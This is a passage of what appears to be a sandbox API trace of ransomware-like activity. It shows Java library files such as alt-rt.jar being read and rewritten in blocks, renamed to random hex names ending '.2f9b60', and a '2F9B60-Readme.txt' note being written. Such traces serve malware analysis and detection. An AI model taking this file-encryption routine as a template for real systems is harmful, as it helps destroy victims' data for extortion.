_Dest=0x1ced9490, _Format="%c%c" | out: _Dest="6e") returned 2 [0138.067] sprintf (in: _Dest=0x1ced9492, _Format="%c%c" | out: _Dest="5c") returned 2 [0138.067] sprintf (in: _Dest=0x1ced9494, _Format="%c%c" | out: _Dest="bd") returned 2 [0138.067] sprintf (in: _Dest=0x1ced9496, _Format="%c%c" | out: _Dest="76") returned 2 [0138.067] sprintf (in: _Dest=0x1ced9498, _Format="%c%c" | out: _Dest="32") returned 2 [0138.067] sprintf (in: _Dest=0x1ced949a, _Format="%c%c" | out: _Dest="0a") returned 2 [0138.067] sprintf (in: _Dest=0x1ced949c, _Format="%c%c" | out: _Dest="b8") returned 2 [0138.067] sprintf (in: _Dest=0x1ced949e, _Format="%c%c" | out: _Dest="a6") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94a0, _Format="%c%c" | out: _Dest="80") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94a2, _Format="%c%c" | out: _Dest="47") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94a4, _Format="%c%c" | out: _Dest="70") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94a6, _Format="%c%c" | out: _Dest="9a") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94a8, _Format="%c%c" | out: _Dest="90") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94aa, _Format="%c%c" | out: _Dest="8b") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94ac, _Format="%c%c" | out: _Dest="97") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94ae, _Format="%c%c" | out: _Dest="3c") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94b0, _Format="%c%c" | out: _Dest="66") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94b2, _Format="%c%c" | out: _Dest="51") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94b4, _Format="%c%c" | out: _Dest="0d") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94b6, _Format="%c%c" | out: _Dest="e1") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94b8, _Format="%c%c" | out: _Dest="7f") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94ba, _Format="%c%c" | out: _Dest="78") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94bc, _Format="%c%c" | out: _Dest="97") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94be, _Format="%c%c" | out: _Dest="1a") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94c0, _Format="%c%c" | out: _Dest="a5") returned 2 [0138.067] sprintf (in: _Dest=0x1ced94c2, _Format="%c%c" | out: _Dest="4e") returned 2 [0138.068] sprintf (in: _Dest=0x1ced94c4, _Format="%c%c" | out: _Dest="4b") returned 2 [0138.068] sprintf (in: _Dest=0x1ced94c6, _Format="%c%c" | out: _Dest="e0") returned 2 [0138.068] sprintf (in: _Dest=0x1ced94c8, _Format="%c%c" | out: _Dest="a9") returned 2 [0138.068] sprintf (in: _Dest=0x1ced94ca, _Format="%c%c" | out: _Dest="94") returned 2 [0138.068] sprintf (in: _Dest=0x1ced94cc, _Format="%c%c" | out: _Dest="2f") returned 2 [0138.068] sprintf (in: _Dest=0x1ced94ce, _Format="%c%c" | out: _Dest="e9") returned 2 [0138.068] RtlInitAnsiString (in: DestinationString=0x34e0fa88, SourceString="076aa7189eb9e48f11468d001ef1a9ae6e5cbd76320ab8a68047709a908b973c66510de17f78971aa54e4be0a9942fe9" | out: DestinationString="076aa7189eb9e48f11468d001ef1a9ae6e5cbd76320ab8a68047709a908b973c66510de17f78971aa54e4be0a9942fe9") [0138.068] RtlAnsiStringToUnicodeString (in: DestinationString=0x34e0fa58, SourceString="076aa7189eb9e48f11468d001ef1a9ae6e5cbd76320ab8a68047709a908b973c66510de17f78971aa54e4be0a9942fe9", AllocateDestinationString=1 | out: DestinationString="076aa7189eb9e48f11468d001ef1a9ae6e5cbd76320ab8a68047709a908b973c66510de17f78971aa54e4be0a9942fe9") returned 0x0 [0138.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4205e3f0 [0138.068] RtlFreeAnsiString (AnsiString="0") [0138.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9470) returned 1 [0138.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda03f0) returned 1 [0138.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b80) returned 1 [0138.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f830) returned 1 [0138.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0138.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262930) returned 1 [0138.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261910) returned 1 [0138.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611c0) returned 1 [0138.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260680) returned 1 [0138.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b20) returned 1 [0138.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x202b1cd0 [0138.069] wcscat (in: _Dest=0x202b1cd0, _Source="076aa7189eb9e48f11468d00" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\076aa7189eb9e48f11468d00") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\076aa7189eb9e48f11468d00" [0138.070] wcscat (in: _Dest=0x202b1cd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\076aa7189eb9e48f11468d00.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\076aa7189eb9e48f11468d00.2f9b60" [0138.070] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\076aa7189eb9e48f11468d00.2f9b60", NtPathName=0x34e0fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\076aa7189eb9e48f11468d00.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0138.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050ca80 [0138.070] NtSetInformationFile (FileHandle=0x1e74, IoStatusBlock=0x34e0fad0, FileInformation=0x2050ca80, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0138.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ca80) returned 1 [0138.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cece5e0) returned 1 [0138.072] NtQueryInformationFile (in: FileHandle=0x1e74, IoStatusBlock=0x34e0fa98, FileInformation=0x34e0faa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x34e0fa98, FileInformation=0x34e0faa8) returned 0x0 [0138.072] NtSetInformationFile (FileHandle=0x1e74, IoStatusBlock=0x34e0fa98, FileInformation=0x34e0faa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0138.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1cd0) returned 1 [0138.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e3f0) returned 1 [0138.074] FlushFileBuffers (hFile=0x1e74) returned 1 [0138.542] CloseHandle (hObject=0x1e74) returned 1 [0138.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504110 [0138.654] wcscpy (in: _Dest=0x20504110, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0138.654] wcscat (in: _Dest=0x20504110, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0138.654] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0xffffffff [0138.924] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ff0 [0145.219] WriteFile (in: hFile=0x1ff0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x34e0f950, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x34e0f950*=0xba9, lpOverlapped=0x0) returned 1 [0147.306] CloseHandle (hObject=0x1ff0) returned 1 [0147.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504110) returned 1 [0147.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509e70) returned 1 Thread: id = 2063 os_tid = 0x133c [0138.076] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\alt-rt.jar")) returned 0x20 [0138.077] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar", dwFileAttributes=0x20) returned 1 [0138.079] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\alt-rt.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e78 [0138.079] GetFileSizeEx (in: hFile=0x1e78, lpFileSize=0x3429f980 | out: lpFileSize=0x3429f980*=172765) returned 1 [0138.079] SetFilePointerEx (in: hFile=0x1e78, liDistanceToMove=0x2a2d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.079] ReadFile (in: hFile=0x1e78, lpBuffer=0x3429f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3429f948, lpOverlapped=0x0 | out: lpBuffer=0x3429f900*, lpNumberOfBytesRead=0x3429f948*=0x4, lpOverlapped=0x0) returned 1 [0138.083] SetFilePointerEx (in: hFile=0x1e78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b20 [0138.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260680 [0138.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611c0 [0138.084] NtQuerySystemTime (in: CurrentTime=0x3429f840 | out: CurrentTime=0x3429f840*=132462177433246000) returned 0x0 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x19e42f2a [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x1f7dc88b [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x1dc4c9c [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x29532250 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x6faba7a2 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0xde43363 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x54fb2c64 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x729a8a90 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x30aac252 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x36d375a6 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x2f5b0326 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x53e519cf [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x6dc01e8d [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x78d522d8 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x31e11a99 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x23bdcf2e [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x486043d6 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0xb2d241e [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x5186febf [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0xcf62955 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x1de50de8 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x14a0048d [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x7b9b1e92 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x121a0231 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x4a589a04 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x145a084 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x487dd9ca [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x351de416 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x278197f [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x52e5c003 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x53e6b853 [0138.084] RtlRandomEx (in: Seed=0x3429f830 | out: Seed=0x3429f830) returned 0x7524c669 [0138.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0138.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262930 [0138.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611c0) returned 1 [0138.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b20) returned 1 [0138.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ccc1b0 [0138.094] SetFilePointerEx (in: hFile=0x1e78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.094] ReadFile (in: hFile=0x1e78, lpBuffer=0x41ccc1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3429f8a0, lpOverlapped=0x0 | out: lpBuffer=0x41ccc1b0*, lpNumberOfBytesRead=0x3429f8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0138.099] SetFilePointerEx (in: hFile=0x1e78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6860 [0138.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6860) returned 1 [0138.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cc85a0 [0138.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6860 [0138.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0138.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0138.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.100] WriteFile (hFile=0x1e78, lpBuffer=0x41cc85a0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3429f8a0, lpOverlapped=0x0) [0179.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cc85a0) returned 1 [0179.975] SetFilePointerEx (in: hFile=0x1e78, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.975] ReadFile (in: hFile=0x1e78, lpBuffer=0x41ccc1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3429f8a0, lpOverlapped=0x0 | out: lpBuffer=0x41ccc1b0*, lpNumberOfBytesRead=0x3429f8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.075] SetFilePointerEx (in: hFile=0x1e78, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f030 [0182.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f030) returned 1 [0182.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42380d80 [0182.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f030 [0182.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f060 [0182.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f060) returned 1 [0182.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.078] WriteFile (in: hFile=0x1e78, lpBuffer=0x42380d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3429f8a0, lpOverlapped=0x0 | out: lpBuffer=0x42380d80*, lpNumberOfBytesWritten=0x3429f8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42380d80) returned 1 [0198.808] SetFilePointerEx (in: hFile=0x1e78, liDistanceToMove=0x266dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.808] ReadFile (in: hFile=0x1e78, lpBuffer=0x41ccc1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3429f8a0, lpOverlapped=0x0 | out: lpBuffer=0x41ccc1b0*, lpNumberOfBytesRead=0x3429f8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0199.167] SetFilePointerEx (in: hFile=0x1e78, liDistanceToMove=0x266dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0199.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868dc0 [0199.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a00 [0199.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265a00) returned 1 [0199.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42d74090 [0199.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a00 [0199.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265550 [0199.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265550) returned 1 [0199.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0199.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0199.171] WriteFile (in: hFile=0x1e78, lpBuffer=0x42d74090*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3429f8a0, lpOverlapped=0x0 | out: lpBuffer=0x42d74090*, lpNumberOfBytesWritten=0x3429f8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d74090) returned 1 [0214.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104b80 [0214.842] SetFilePointerEx (in: hFile=0x1e78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.842] WriteFile (in: hFile=0x1e78, lpBuffer=0x1cebd2a0*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x3429f950, lpOverlapped=0x0 | out: lpBuffer=0x1cebd2a0*, lpNumberOfBytesWritten=0x3429f950*=0x146, lpOverlapped=0x0) returned 1 [0218.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0218.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0218.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264ec0 [0218.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264ec0) returned 1 [0218.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0218.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264ec0 [0218.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264dd0 [0218.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264dd0) returned 1 [0218.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0218.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0218.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x431ad6a0 [0218.835] sprintf (in: _Dest=0x431ad6a0, _Format="%c%c" | out: _Dest="8a") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6a2, _Format="%c%c" | out: _Dest="c4") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6a4, _Format="%c%c" | out: _Dest="fe") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6a6, _Format="%c%c" | out: _Dest="82") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6a8, _Format="%c%c" | out: _Dest="53") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6aa, _Format="%c%c" | out: _Dest="3b") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6ac, _Format="%c%c" | out: _Dest="05") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6ae, _Format="%c%c" | out: _Dest="26") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6b0, _Format="%c%c" | out: _Dest="97") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6b2, _Format="%c%c" | out: _Dest="76") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6b4, _Format="%c%c" | out: _Dest="02") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6b6, _Format="%c%c" | out: _Dest="89") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6b8, _Format="%c%c" | out: _Dest="45") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6ba, _Format="%c%c" | out: _Dest="e0") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6bc, _Format="%c%c" | out: _Dest="e7") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6be, _Format="%c%c" | out: _Dest="ef") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6c0, _Format="%c%c" | out: _Dest="5a") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6c2, _Format="%c%c" | out: _Dest="29") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6c4, _Format="%c%c" | out: _Dest="82") returned 2 [0218.836] sprintf (in: _Dest=0x431ad6c6, _Format="%c%c" | out: _Dest="3f") returned 2 [0218.836] RtlInitAnsiString (in: DestinationString=0x3429f9c8, SourceString="8ac4fe82533b05269776028945e0e7ef5a29823f" | out: DestinationString="8ac4fe82533b05269776028945e0e7ef5a29823f") [0218.836] RtlAnsiStringToUnicodeString (in: DestinationString=0x3429f998, SourceString="8ac4fe82533b05269776028945e0e7ef5a29823f", AllocateDestinationString=1 | out: DestinationString="8ac4fe82533b05269776028945e0e7ef5a29823f") returned 0x0 [0218.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858a30 [0218.837] wcscat (in: _Dest=0x1b79de70, _Source="8ac4fe8253" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\8ac4fe8253") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\8ac4fe8253" [0218.837] wcscat (in: _Dest=0x1b79de70, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\8ac4fe8253.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\8ac4fe8253.2f9b60" [0218.837] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\8ac4fe8253.2f9b60", NtPathName=0x3429f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\8ac4fe8253.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4318bc60 [0238.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318bc60) returned 1 [0238.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43077740) returned 1 [0238.373] NtQueryInformationFile (in: FileHandle=0x1e78, IoStatusBlock=0x3429f9d8, FileInformation=0x3429f9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3429f9d8, FileInformation=0x3429f9e8) returned 0x0 [0238.373] NtSetInformationFile (FileHandle=0x1e78, IoStatusBlock=0x3429f9d8, FileInformation=0x3429f9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0241.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0241.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858a30) returned 1 [0241.810] FlushFileBuffers (hFile=0x1e78) returned 1 [0241.821] CloseHandle (hObject=0x1e78) returned 1 [0242.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d510 [0242.936] wcscpy (in: _Dest=0x1b85d510, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0242.936] wcscat (in: _Dest=0x1b85d510, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0242.936] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0242.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d510) returned 1 [0242.938] RtlFreeHeap (HeapHandle=0xa0000, 